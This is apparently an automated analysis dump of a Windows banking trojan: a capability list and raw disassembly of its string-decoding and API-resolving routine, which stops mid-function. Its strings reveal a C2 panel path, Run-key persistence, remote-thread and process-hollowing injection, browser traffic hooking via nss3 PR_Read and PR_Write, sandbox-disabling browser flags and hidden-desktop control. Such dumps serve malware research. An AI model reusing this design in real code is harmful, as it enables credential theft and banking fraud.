Function at 0x40100b
Capabilities:
Allocate or change rwx memory
Compress data via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push 9
push str.127.0.0.1
call fcn.00401000
and dword [0x41ac1c], 0
push 0x11
push str._panel_client.php
mov dword [0x41ac18], eax
call fcn.00401000
push 0xa
pop ebx
push ebx
push str.User32.dll
mov dword [0x41ac14], eax
call fcn.00401000
push 0xc
push str.Kernel32.dll
mov dword [0x41ae18], eax
call fcn.00401000
push 0xe
pop esi
push esi
push str.KernelBase.dll
mov dword [0x41ae1c], eax
call fcn.00401000
push ebx
push str.msvcrt.dll
mov dword [0x41ae20], eax
call fcn.00401000
push 9
push str.ntdll.dll
mov dword [0x41ae24], eax
call fcn.00401000
push 0xb
pop edi
push edi
push str.Shlwapi.dll
mov dword [0x41ae28], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41ae2c], eax
push edi
push str.Shell32.dll
call fcn.00401000
push edi
push str.Secur32.dll
mov dword [0x41ae30], eax
call fcn.00401000
push 0xc
push str.Advapi32.dll
mov dword [0x41ae34], eax
call fcn.00401000
push ebx
push str.ws2_32.dll
mov dword [0x41ae38], eax
call fcn.00401000
push edi
push str.version.dll
mov dword [0x41ae3c], eax
call fcn.00401000
push 9
push str.Psapi.dll
mov dword [0x41ae40], eax
call fcn.00401000
push edi
push str.wininet.dll
mov dword [0x41ae44], eax
call fcn.00401000
push 9
push str.gdi32.dll
mov dword [0x41ae48], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41ae4c], eax
push edi
push str.MessageBoxA
call fcn.00401000
mov dword [0x41ae64], eax
push 0x14
push str.GetWindowsDirectoryA
call fcn.00401000
push 0x13
push 0x412298
mov dword [0x41ae68], eax
call fcn.00401000
push ebx
push str.LocalAlloc
mov dword [0x41ae60], eax
call fcn.00401000
push 9
push str.wsprintfA
mov dword [0x41ae6c], eax
call fcn.00401000
push 0x13
push 0x4122c4
mov dword [0x41ae70], eax
call fcn.00401000
push 4
push str.free
mov dword [0x41ae74], eax
call fcn.00401000
push esi
push str.VirtualAllocEx
mov dword [0x41ae7c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41ae80], eax
push 0x12
pop edi
push edi
push str.WriteProcessMemory
call fcn.00401000
push edi
push str.CreateRemoteThread
mov dword [0x41ae84], eax
call fcn.00401000
push 0xc
push 0x412320
mov dword [0x41ae88], eax
call fcn.00401000
push esi
push 0x412330
mov dword [0x41ae8c], eax
call fcn.00401000
push 0x13
push str.PathRemoveFileSpecA
mov dword [0x41ae90], eax
call fcn.00401000
push edi
push str.GetModuleFileNameA
mov dword [0x41ae94], eax
call fcn.00401000
push 0x11
push str.PathFindFileNameA
mov dword [0x41ae98], eax
call fcn.00401000
push 7
pop ebx
push ebx
push str.strncmp
mov dword [0x41ae9c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41aea0], eax
push 9
push str._strnicmp
call fcn.00401000
push 8
push str.lstrlenA
mov dword [0x41aea4], eax
call fcn.00401000
push 0xb
push 0x41239c
mov dword [0x41aea8], eax
call fcn.00401000
push 0x10
push str.SHGetFolderPathA
mov dword [0x41aeac], eax
call fcn.00401000
mov dword [0x41aeb0], eax
push 8
push str.lstrcpyA
call fcn.00401000
push 8
push 0x4123c8
mov dword [0x41aeb4], eax
call fcn.00401000
push 9
push str.CopyFileA
mov dword [0x41aeb8], eax
call fcn.00401000
push 0x15
push str.GetVolumeInformationA
mov dword [0x41aebc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41aec0], eax
push esi
push str.GetUserNameExA
call fcn.00401000
push edi
push str.LookupAccountNameA
mov dword [0x41aec4], eax
call fcn.00401000
push 0x16
push str.ConvertSidToStringSidA
mov dword [0x41aec8], eax
call fcn.00401000
push 9
push str.LocalFree
mov dword [0x41aecc], eax
call fcn.00401000
push 6
push str.malloc
mov dword [0x41aed0], eax
call fcn.00401000
push 9
push str.lstrcmpiA
mov dword [0x41ae78], eax
call fcn.00401000
push 8
push str.lstrcmpA
mov dword [0x41aed8], eax
call fcn.00401000
push ebx
push str.StrStrA
mov dword [0x41aedc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41aee0], eax
push 8
push str.StrStrIA
call fcn.00401000
push 6
push str.strtol
mov dword [0x41aee4], eax
call fcn.00401000
push ebx
push str.realloc
mov dword [0x41aee8], eax
call fcn.00401000
push 0xa
push str.WSAStartup
mov dword [0x41aeec], eax
call fcn.00401000
push 6
push str.socket
mov dword [0x41aef0], eax
call fcn.00401000
push 0xd
push str.gethostbyname
mov dword [0x41aef4], eax
call fcn.00401000
push 5
push str.htons
mov dword [0x41aef8], eax
call fcn.00401000
push ebx
push str.connect
mov dword [0x41aefc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41af00], eax
push 4
push str.send
call fcn.00401000
push 4
push str.recv
mov dword [0x41af04], eax
call fcn.00401000
push 0xb
push str.closesocket
mov dword [0x41af08], eax
call fcn.00401000
push 0xa
push str.WSACleanup
mov dword [0x41af0c], eax
call fcn.00401000
push 6
push str.memset
mov dword [0x41af10], eax
call fcn.00401000
push 6
push str.memcpy
mov dword [0x41af14], eax
call fcn.00401000
push 5
push 0x4124e8
mov dword [0x41aed4], eax
call fcn.00401000
push 9
push str.NtOpenKey
mov dword [0x41af18], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41af1c], eax
push 0xd
push str.NtSetValueKey
call fcn.00401000
push 0xb
push 0x41250c
mov dword [0x41af24], eax
call fcn.00401000
push esi
push str.CreateProcessA
mov dword [0x41af20], eax
call fcn.00401000
push 0x10
push str.NtCreateThreadEx
mov dword [0x41af28], eax
call fcn.00401000
push 0x10
push 0x41253c
mov dword [0x41aff4], eax
call fcn.00401000
push 0xb
push str.FindWindowA
mov dword [0x41aff8], eax
call fcn.00401000
push 0x14
push str.NtUnmapViewOfSection
mov dword [0x41affc], eax
call fcn.00401000
push 0x19
push str.NtQueryInformationProcess
mov dword [0x41b0bc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b0c0], eax
push 0x10
push str.GetThreadContext
call fcn.00401000
push 0x10
push str.SetThreadContext
mov dword [0x41b0c4], eax
call fcn.00401000
push 0x10
push str.SHFileOperationA
mov dword [0x41b0c8], eax
call fcn.00401000
mov dword [0x41b0cc], eax
push esi
push str.FindFirstFileA
call fcn.00401000
push 0xd
push str.FindNextFileA
mov dword [0x41b0d0], eax
call fcn.00401000
push 0x18
push str.GetWindowThreadProcessId
mov dword [0x41b0d4], eax
call fcn.00401000
push 0x19
push str.InitializeCriticalSection
mov dword [0x41b000], eax
call fcn.00401000
push 0xc
push 0x412624
mov dword [0x41af34], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41af38], eax
push 0x14
push 0x412634
call fcn.00401000
push 0x14
push 0x41264c
mov dword [0x41af2c], eax
call fcn.00401000
push 6
push str._errno
mov dword [0x41af30], eax
call fcn.00401000
push ebx
push str.tolower
mov dword [0x41af3c], eax
call fcn.00401000
push ebx
push str.isdigit
mov dword [0x41af40], eax
call fcn.00401000
push ebx
push str.strtoul
mov dword [0x41af44], eax
call fcn.00401000
push 8
push str.isxdigit
mov dword [0x41af48], eax
call fcn.00401000
push 6
push str.strtod
mov dword [0x41af4c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41af50], eax
push 0x18
push 0x412698
call fcn.00401000
push esi
push 0x4126b4
mov dword [0x41af54], eax
call fcn.00401000
push 0xd
push 0x4126c4
mov dword [0x41af58], eax
call fcn.00401000
push ebx
push str.StrChrA
mov dword [0x41af5c], eax
call fcn.00401000
push 9
push str.StrToIntA
mov dword [0x41af60], eax
call fcn.00401000
push 0x10
push str.GetModuleHandleA
mov dword [0x41af64], eax
call fcn.00401000
push 0x17
push str.GetFileVersionInfoSizeA
mov dword [0x41af68], eax
call fcn.00401000
mov dword [0x41af6c], eax
push 0x13
pop ebx
push ebx
push str.GetFileVersionInfoA
call fcn.00401000
add esp, 0x40
mov dword [0x41af70], eax
push esi
push str.VerQueryValueA
call fcn.00401000
push 0x14
push str.GetModuleInformation
mov dword [0x41af74], eax
call fcn.00401000
push 6
push str.memcmp
mov dword [0x41af78], eax
call fcn.00401000
push 0x19
push str.ExpandEnvironmentStringsA
mov dword [0x41af7c], eax
call fcn.00401000
push 0x1e
push str.GetPrivateProfileSectionNamesA
mov dword [0x41af80], eax
call fcn.00401000
push 0x18
push str.GetPrivateProfileStringA
mov dword [0x41af84], eax
call fcn.00401000
push 0xb
push 0x4127b0
mov dword [0x41af88], eax
call fcn.00401000
push 8
push 0x4127bc
mov dword [0x41af8c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41af90], eax
push 9
push 0x4127c8
call fcn.00401000
push esi
push str.RegSetValueExA
mov dword [0x41af94], eax
call fcn.00401000
push 0xd
push str.RegOpenKeyExA
mov dword [0x41af98], eax
call fcn.00401000
push 0xb
push str.RegCloseKey
mov dword [0x41af9c], eax
call fcn.00401000
push 0xb
push 0x412800
mov dword [0x41afa0], eax
call fcn.00401000
push 0xc
push str.ResumeThread
mov dword [0x41afa4], eax
call fcn.00401000
push esi
push str.IsWow64Process
mov dword [0x41afa8], eax
call fcn.00401000
push ebx
push str.GetNativeSystemInfo
mov dword [0x41afac], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41afb0], eax
push 0xb
push 0x412840
call fcn.00401000
push 0xc
push str.CreateThread
mov dword [0x41afb4], eax
call fcn.00401000
mov dword [0x41afb8], eax
push 0xc
push str.GetUserNameW
call fcn.00401000
push 0x10
push str.GetComputerNameW
mov dword [0x41afbc], eax
call fcn.00401000
push 0xd
push str.GetVersionExA
mov dword [0x41afc0], eax
call fcn.00401000
push 0x10
push str.CreateNamedPipeA
mov dword [0x41afc4], eax
call fcn.00401000
push 0x10
push str.ConnectNamedPipe
mov dword [0x41afc8], eax
call fcn.00401000
push ebx
push str.DisconnectNamedPipe
mov dword [0x41afcc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41afd0], eax
push 0x11
push str.InternetCrackUrlA
call fcn.00401000
push 0xc
push str.GetTempPathA
mov dword [0x41afd4], eax
call fcn.00401000
push 0x10
push str.GetTempFileNameA
mov dword [0x41afd8], eax
call fcn.00401000
push 0xd
push str.ShellExecuteA
mov dword [0x41afdc], eax
call fcn.00401000
push 0xb
push str.ioctlsocket
mov dword [0x41afe0], eax
call fcn.00401000
push 5
push str.ntohs
mov dword [0x41afe4], eax
call fcn.00401000
push 0xc
push str.CreateMutexA
mov dword [0x41afe8], eax
call fcn.00401000
push 0xc
push str.ReleaseMutex
mov dword [0x41afec], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41aff0], eax
push ebx
push 0x412948
call fcn.00401000
push 0xb
push str.EnumWindows
mov dword [0x41b004], eax
call fcn.00401000
push ebx
push 0x412968
mov dword [0x41b008], eax
call fcn.00401000
push 0xb
push str.DeleteFileA
mov dword [0x41b00c], eax
call fcn.00401000
push 0xf
pop ebx
push ebx
push str.PathFileExistsA
mov dword [0x41b010], eax
call fcn.00401000
mov dword [0x41b014], eax
push 0x10
push str.CreateDirectoryA
call fcn.00401000
push esi
push str.HttpQueryInfoA
mov dword [0x41b018], eax
call fcn.00401000
push esi
push str.HttpQueryInfoW
mov dword [0x41b01c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b020], eax
push 0x11
push str.RtlCompressBuffer
call fcn.00401000
push 0x1e
push str.RtlGetCompressionWorkSpaceSize
mov dword [0x41b024], eax
call fcn.00401000
push 0x10
push str.SetThreadDesktop
mov dword [0x41b028], eax
call fcn.00401000
push esi
push str.CreateDesktopA
mov dword [0x41b02c], eax
call fcn.00401000
push 0xc
push str.OpenDesktopA
mov dword [0x41b030], eax
call fcn.00401000
push ebx
push str.TerminateThread
mov dword [0x41b034], eax
call fcn.00401000
push 0xc
push str.PostMessageA
mov dword [0x41b038], eax
call fcn.00401000
push 0xc
push str.SendMessageA
mov dword [0x41b03c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b040], eax
push 0x14
push str.ChildWindowFromPoint
call fcn.00401000
push esi
push str.ScreenToClient
mov dword [0x41b044], eax
call fcn.00401000
push 0xa
push str.MoveWindow
mov dword [0x41b048], eax
call fcn.00401000
push 0xd
push str.GetWindowRect
mov dword [0x41b04c], eax
call fcn.00401000
push 0xd
push str.GetMenuItemID
mov dword [0x41b050], eax
call fcn.00401000
push 0x11
push str.MenuItemFromPoint
mov dword [0x41b054], eax
call fcn.00401000
push 0x13
push str.RealGetWindowClassA
mov dword [0x41b058], eax
call fcn.00401000
push 8
push str.PtInRect
mov dword [0x41b05c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b060], eax
push edi
push str.GetWindowPlacement
call fcn.00401000
push esi
push str.SetWindowLongA
mov dword [0x41b064], eax
call fcn.00401000
push esi
push str.GetWindowLongA
mov dword [0x41b068], eax
call fcn.00401000
push ebx
push str.WindowFromPoint
mov dword [0x41b06c], eax
call fcn.00401000
push ebx
push str.SHAppBarMessage
mov dword [0x41b070], eax
call fcn.00401000
push 0x10
push str.RegQueryValueExA
mov dword [0x41b074], eax
call fcn.00401000
push 0x10
push str.GetDesktopWindow
mov dword [0x41b078], eax
call fcn.00401000
push 8
push str.DeleteDC
mov dword [0x41b07c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b080], eax
push 9
push str.ReleaseDC
call fcn.00401000
push 0xc
push str.DeleteObject
mov dword [0x41b084], eax
call fcn.00401000
push 9
push str.GetDIBits
mov dword [0x41b088], eax
call fcn.00401000
push 0xa
push str.StretchBlt
mov dword [0x41b08c], eax
call fcn.00401000
push 0x11
push str.SetStretchBltMode
mov dword [0x41b090], eax
call fcn.00401000
push 0xc
push str.SelectObject
mov dword [0x41b094], eax
call fcn.00401000
push edi
push str.CreateCompatibleDC
mov dword [0x41b098], eax
call fcn.00401000
push 0x16
push str.CreateCompatibleBitmap
mov dword [0x41b09c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b0a0], eax
push 5
push str.GetDC
call fcn.00401000
push ebx
push str.IsWindowVisible
mov dword [0x41b0a4], eax
call fcn.00401000
push 9
push 0x412c10
mov dword [0x41b0a8], eax
call fcn.00401000
push 0xb
push str.PrintWindow
mov dword [0x41b0ac], eax
call fcn.00401000
push 0xc
mov dword [0x41b0b4], eax
push str.GetTopWindow
call fcn.00401000
push 0x11
push str.RtlInitAnsiString
mov dword [0x41b0b8], eax
call fcn.00401000
push 0x1c
push str.RtlAnsiStringToUnicodeString
mov dword [0x41b0d8], eax
call fcn.00401000
push 0xa
push str.LdrLoadDll
mov dword [0x41b0dc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b0e0], eax
push 0x16
push str.LdrGetProcedureAddress
call fcn.00401000
push 0x14
push str.RtlFreeUnicodeString
mov dword [0x41b0e4], eax
call fcn.00401000
push 0x13
push str.RtlCreateUserThread
mov dword [0x41b0e8], eax
call fcn.00401000
push 0xb
push str.Hello_World
mov dword [0x41b0ec], eax
call fcn.00401000
push 4
push str..exe
mov dword [0x41b0f0], eax
call fcn.00401000
push 1
push 0x412cd0
mov dword [0x41b0f4], eax
call fcn.00401000
push 5
push 0x412cd4
mov dword [0x41b0f8], eax
call fcn.00401000
push 4
push str.GET
mov dword [0x41b0fc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b100], eax
push 0xb
push str._HTTP_1.1_r_n
call fcn.00401000
push 6
push str.Host:
mov dword [0x41b104], eax
call fcn.00401000
push 0x40
push str._r_nPragma:_no_cache_r_nContent_type:_text_html_r_nConnection:_close_r_n
mov dword [0x41b108], eax
call fcn.00401000
push 0x10
push str.Content_Length:
mov dword [0x41b10c], eax
call fcn.00401000
push ebx
push str.HTTP_1.1_200_OK
mov dword [0x41b110], eax
call fcn.00401000
push 2
push 0x412d60
mov dword [0x41b114], eax
call fcn.00401000
push esi
push str.Content_Length
mov dword [0x41b118], eax
call fcn.00401000
mov ebx, eax
push 0x11
push str.Transfer_Encoding
mov dword [0x41b11c], ebx
call fcn.00401000
add esp, 0x40
push 7
pop esi
mov edi, eax
push esi
push str.chunked
mov dword [0x41b120], edi
call fcn.00401000
push 2
push 0x412d90
mov dword [0x41b124], eax
call fcn.00401000
push 2
push 0x412d94
mov dword [0x41b128], eax
call fcn.00401000
push 0x14
push str.RegistryUser_s_s
mov dword [0x41b12c], eax
call fcn.00401000
push 0x2d
push str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [0x41b130], eax
call fcn.00401000
push 0xb
push str.dllhost.exe
mov dword [0x41b134], eax
call fcn.00401000
push 4
push str.ping
mov dword [0x41b138], eax
call fcn.00401000
push 9
push str.binint32
mov dword [0x41b13c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b140], eax
push 9
push str.binint64
call fcn.00401000
push 0xc
push str.explorer.exe
mov dword [0x41b144], eax
call fcn.00401000
push 0xb
push str.firefox.exe
mov dword [0x41b148], eax
call fcn.00401000
push 0xa
push str.chrome.exe
mov dword [0x41b14c], eax
call fcn.00401000
push 0xc
push str.iexplore.exe
mov dword [0x41b150], eax
call fcn.00401000
push 0x88
push str.powershell__noexit__command___console_::windowwidth__100__console_::windowheight__30___console_::bufferwidth___console_::windowwidth_
mov dword [0x41b15c], eax
call fcn.00401000
push 0xa
push str.msedge.exe
mov dword [0x41b160], eax
call fcn.00401000
push 9
push str.brave.exe
mov dword [0x41b154], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b158], eax
push esi
push str.injects
call fcn.00401000
push esi
push str.Firefox
mov dword [0x41b164], eax
call fcn.00401000
push 6
push str.Chrome
mov dword [0x41b16c], eax
call fcn.00401000
push 0x11
push str.Internet_Explorer
mov dword [0x41b168], eax
call fcn.00401000
push 0xa
push str.chrome.dll
mov dword [0x41b170], eax
call fcn.00401000
push 6
push str.BitBlt
mov dword [0x41b174], eax
call fcn.00401000
push 8
push str.nss3.dll
mov dword [0x41b0b0], eax
call fcn.00401000
push 9
push str.nspr4.dll
mov dword [0x41b178], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b17c], eax
push esi
push str.PR_Read
call fcn.00401000
push 8
push str.PR_Write
mov dword [0x41b180], eax
call fcn.00401000
push 6
push 0x412f58
mov dword [0x41b184], eax
call fcn.00401000
push 0x12
push str._r_nContent_Length:
mov dword [0x41b188], eax
call fcn.00401000
mov esi, eax
push 0xf
push str.Accept_Encoding
mov dword [0x41b18c], esi
call fcn.00401000
push 8
push str.identity
mov dword [0x41b190], eax
call fcn.00401000
push 0xa
push str.Connection
mov dword [0x41b194], eax
mov dword [0x41b198], ebx
mov dword [0x41b19c], edi
call fcn.00401000
push 5
push str.close
mov dword [0x41b1a0], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b1a4], eax
push 0x10
pop ebx
push ebx
push str._r_nContent_Type:
call fcn.00401000
push 9
pop edi
push edi
push str.text_html
mov dword [0x41b1a8], eax
call fcn.00401000
push 0xc
push str._r_nLocation:
mov dword [0x41b1ac], eax
call fcn.00401000
push 0x17
push str.X_HeyThere:_5eYEp80n3hM
mov dword [0x41b1b0], eax
mov dword [0x41b1b4], esi
call fcn.00401000
push 4
mov dword [0x41b1b8], eax
pop esi
push esi
push str._r_n_r_n
call fcn.00401000
push edi
push str._r_n_s:__r_n
mov dword [0x41b1bc], eax
call fcn.00401000
mov dword [0x41b1c0], eax
mov eax, dword [0x41b118]
push 8
push str._r_nHost:
mov dword [0x41b1c4], eax
call fcn.00401000
push 0xa
push str.http_s_:__
mov dword [0x41b1c8], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b1cc], eax
push 0xd
push str.log_s_s_d
call fcn.00401000
push esi
push str.POST
mov dword [0x41b1d0], eax
call fcn.00401000
push edi
push str.__DOCTYPE
mov dword [0x41b1d4], eax
call fcn.00401000
push 0x3d
push str._script_window.location.href__window.location.href___script_
mov dword [0x41b1d8], eax
call fcn.00401000
push 0x13
push str.InternetCloseHandle
mov dword [0x41b1dc], eax
call fcn.00401000
push 0x1a
push str.InternetQueryDataAvailable
mov dword [0x41b1e0], eax
call fcn.00401000
push ebx
push str.HttpOpenRequestW
mov dword [0x41b1e4], eax
call fcn.00401000
push ebx
push str.InternetConnectW
mov dword [0x41b1e8], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b1ec], eax
push ebx
push str.HttpSendRequestW
call fcn.00401000
push ebx
push str.InternetReadFile
mov dword [0x41b1f0], eax
call fcn.00401000
push 0x13
push str.InternetReadFileExW
mov dword [0x41b1f4], eax
call fcn.00401000
push 0x11
push str.InternetWriteFile
mov dword [0x41b1f8], eax
call fcn.00401000
push edi
push str._appdata_
mov dword [0x41b1fc], eax
call fcn.00401000
push 0xf
push str._s_s_s_s.ini
mov dword [0x41b200], eax
call fcn.00401000
push 7
push str.Mozilla
mov dword [0x41b204], eax
call fcn.00401000
mov dword [0x41b208], eax
mov eax, dword [0x41b16c]
push 8
push str.Profiles
mov dword [0x41b20c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b210], eax
push 7
push str.Profile
call fcn.00401000
push esi
push 0x41315c
mov dword [0x41b214], eax
call fcn.00401000
push 0x14
push str._s_s_s_s_s_s.js
mov dword [0x41b218], eax
call fcn.00401000
push 5
push str.prefs
mov dword [0x41b21c], eax
call fcn.00401000
push 0x19
push str.network.http.spdy.enabled
mov dword [0x41b220], eax
call fcn.00401000
push 0x1d
push str.browser.tabs.remote.autostart
mov dword [0x41b224], eax
call fcn.00401000
push 0x15d
push str.user_pref__network.http.spdy.enabled.v3_1___false___r_nuser_pref__network.http.spdy.enabled.v3___false___r_nuser_pref__network.http.spdy.enabled___false___r_nuser_pref__browser.tabs.remote.autostart___false___r_nuser_pref__browser.tabs.remote.autostart.2___false___r_nuser_pref__gfx.direct2d.disabled___true___r_nuser_pref__layers.acceleration.disabled___true__
mov dword [0x41b228], eax
call fcn.00401000
push 0x29
push str.SoftwareMicrosoftInternet_ExplorerMain
mov dword [0x41b22c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b230], eax
push 0xd
push str.TabProcGrowth
call fcn.00401000
push 0x43
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones3
mov dword [0x41b234], eax
call fcn.00401000
push esi
push str.2500
mov dword [0x41b238], eax
call fcn.00401000
push 0x2e
push str.___disable_http2___use_spdyoff___disable_quic
mov dword [0x41b23c], eax
call fcn.00401000
push 0x16
push str.CreateProcessInternalW
mov dword [0x41b240], eax
call fcn.00401000
push 0x15
push str.NoProtectedModeBanner
mov dword [0x41b244], eax
call fcn.00401000
push 6
push str.32768
mov dword [0x41b248], eax
call fcn.00401000
push 0x1d
push str._rundll32.exe_shell32.dll_61
mov dword [0x41b264], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b268], eax
push 0x3b
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
call fcn.00401000
push ebx
push str.TaskbarGlomLevel
mov dword [0x41b26c], eax
call fcn.00401000
mov dword [0x41b270], eax
push 0xc
push str.profiles.ini
call fcn.00401000
push edi
push str._profile
mov dword [0x41b274], eax
call fcn.00401000
push 0xf
push str.GoogleChrome_
mov dword [0x41b278], eax
call fcn.00401000
push 0x11
push str.cmd.exe__c_start
mov dword [0x41b27c], eax
call fcn.00401000
push 0x65
push str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
mov dword [0x41b280], eax
call fcn.00401000
push 0xa
push str.User_Data_
mov dword [0x41b284], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b288], eax
push 0x11
push str.MozillaFirefox_
call fcn.00401000
push 0xb
push str.IsRelative
mov dword [0x41b28c], eax
call fcn.00401000
push 5
push str.Path
mov dword [0x41b290], eax
call fcn.00401000
push 0x15
push str.__no_remote__profile
mov dword [0x41b294], eax
call fcn.00401000
push 0x1c
push str.info_d_d_d_d_s_s_d_d
mov dword [0x41b298], eax
call fcn.00401000
push 0xb
push str..pipe_s
mov dword [0x41b2a0], eax
call fcn.00401000
push esi
push str.open
mov dword [0x41b2a4], eax
call fcn.00401000
push 0x1e2
push str.As_we_walked_along_the_flatblock_marina__I_was_calm_on_the_outside__but_thinking_all_the_time._So_now_it_was_to_be_Georgie_the_general__saying_what_we_should_do_and_what_not_to_do__and_Dim_as_his_mindless_greeding_bulldog._But_suddenly_I_viddied_that_thinking_was_for_the_gloopy_ones_and_that_the_oomny_ones_use__like__inspiration_and_what_Bog_sends._For_now_it_was_lovely_music_that_came_to_my_aid._There_was_a_window_open_with_the_stereo_on_and_I_viddied_right_at_once_what_to_do.
mov dword [0x41b2a8], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41b2ac], eax
push 0xd
push str.Shell_TrayWnd
call fcn.00401000
push 0xc
push str.verclsid.exe
mov dword [0x41b2b0], eax
call fcn.00401000
push 2
push 0x4137b4
mov dword [0x41b2b4], eax
call fcn.00401000
push 2
push 0x4137b8
mov dword [0x41b2b8], eax
call fcn.00401000
push edi
push str.child.dll
mov dword [0x41b2bc], eax
call fcn.00401000
push ebx
push str.:Zone.Identifier
mov dword [0x41b2c0], eax
call fcn.00401000
mov dword [0x41b2c4], eax
push 8
push str.Trusteer
call fcn.00401000
add esp, 0x38
mov dword [0x41b2c8], eax
push dword [0x41ae8c]
push dword [0x41ae1c]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push dword [0x41ae18]
mov dword [0x41a9c8], eax
call eax
push dword [0x41ae1c]
mov dword [ebp - 0xc], eax
call dword [0x41a9c8]
push dword [0x41ae24]
mov dword [ebp - 4], eax
call dword [0x41a9c8]
push dword [0x41ae28]
mov dword [ebp - 0x1c], eax
call dword [0x41a9c8]
push dword [0x41ae2c]
mov dword [ebp - 0x10], eax
call dword [0x41a9c8]
push dword [0x41ae30]
mov dword [ebp - 8], eax
call dword [0x41a9c8]
push dword [0x41ae34]
mov dword [ebp - 0x14], eax
call dword [0x41a9c8]
push dword [0x41ae38]
mov edi, eax
call dword [0x41a9c8]
push dword [0x41ae3c]
mov dword [ebp - 0x18], eax
call dword [0x41a9c8]
push dword [0x41ae40]
mov dword [ebp - 0x20], eax
call dword [0x41a9c8]
push dword [0x41ae44]
mov ebx, eax
call dword [0x41a9c8]
push dword [0x41ae48]
mov dword [ebp - 0x24], eax
call dword [0x41a9c8]
push dword [0x41ae4c]
mov dword [ebp - 0x28], eax
call dword [0x41a9c8]
push dword [0x41ae90]
mov dword [ebp - 0x2c], eax
push dword [ebp - 4]
call esi
push dword [0x41ae64]
mov esi, dword [ebp - 0xc]
push esi
mov dword [0x41a9cc], eax
call eax
push dword [0x41ae68]
mov dword [0x41a99c], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41ae60]
mov dword [0x41a9a0], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41ae6c]
mov dword [0x41a9a4], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41ae70]
mov dword [0x41a9a8], eax
push esi
call dword [0x41a9cc]
push dword [0x41ae74]
mov dword [0x41a9ac], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41ae78]
mov dword [0x41a9b0], eax
mov esi, dword [ebp - 0x1c]
push esi
call dword [0x41a9cc]
push dword [0x41ae7c]
mov dword [0x41a9b4], eax
push esi
call dword [0x41a9cc]
push dword [0x41ae80]
mov dword [0x41a9b8], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41ae84]
mov dword [0x41a9bc], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41ae88]
mov dword [0x41a9c0], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41ae94]
mov dword [0x41a9c4], eax
push dword [ebp - 8]
call dword [0x41a9cc]
push dword [0x41ae98]
mov dword [0x41a9d0], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41ae9c]
mov dword [0x41a9d4], eax
push dword [ebp - 8]
call dword [0x41a9cc]
push dword [0x41aea0]
mov dword [0x41a9d8], eax
push esi
call dword [0x41a9cc]
push dword [0x41aea4]
mov dword [0x41a9dc], eax
push esi
call dword [0x41a9cc]
push dword [0x41aea8]
mov dword [0x41a9e0], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41aeac]
mov dword [0x41a9e4], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41aeb0]
mov dword [0x41a9e8], eax
push dword [ebp - 0x14]
call dword [0x41a9cc]
push dword [0x41aeb4]
mov dword [0x41a9ec], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41aeb8]
mov dword [0x41a9f0], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41aebc]
mov dword [0x41a9f4], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41aec0]
mov dword [0x41a9f8], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41aec4]
mov dword [0x41a9fc], eax
push edi
call dword [0x41a9cc]
push dword [0x41aec8]
mov edi, dword [ebp - 0x18]
push edi
mov dword [0x41aa00], eax
call dword [0x41a9cc]
push dword [0x41aecc]
mov dword [0x41aa04], eax
push edi
call dword [0x41a9cc]
mov dword [0x41aa08], eax
push dword [0x41aed0]
mov edi, dword [ebp - 4]
push edi
call dword [0x41a9cc]
push dword [0x41aed4]
mov dword [0x41aa0c], eax
push esi
call dword [0x41a9cc]
push dword [0x41aedc]
mov dword [0x41aa10], eax
push edi
call dword [0x41a9cc]
push dword [0x41aed8]
mov dword [0x41aa18], eax
push edi
call dword [0x41a9cc]
push dword [0x41aee0]
mov edi, dword [ebp - 8]
push edi
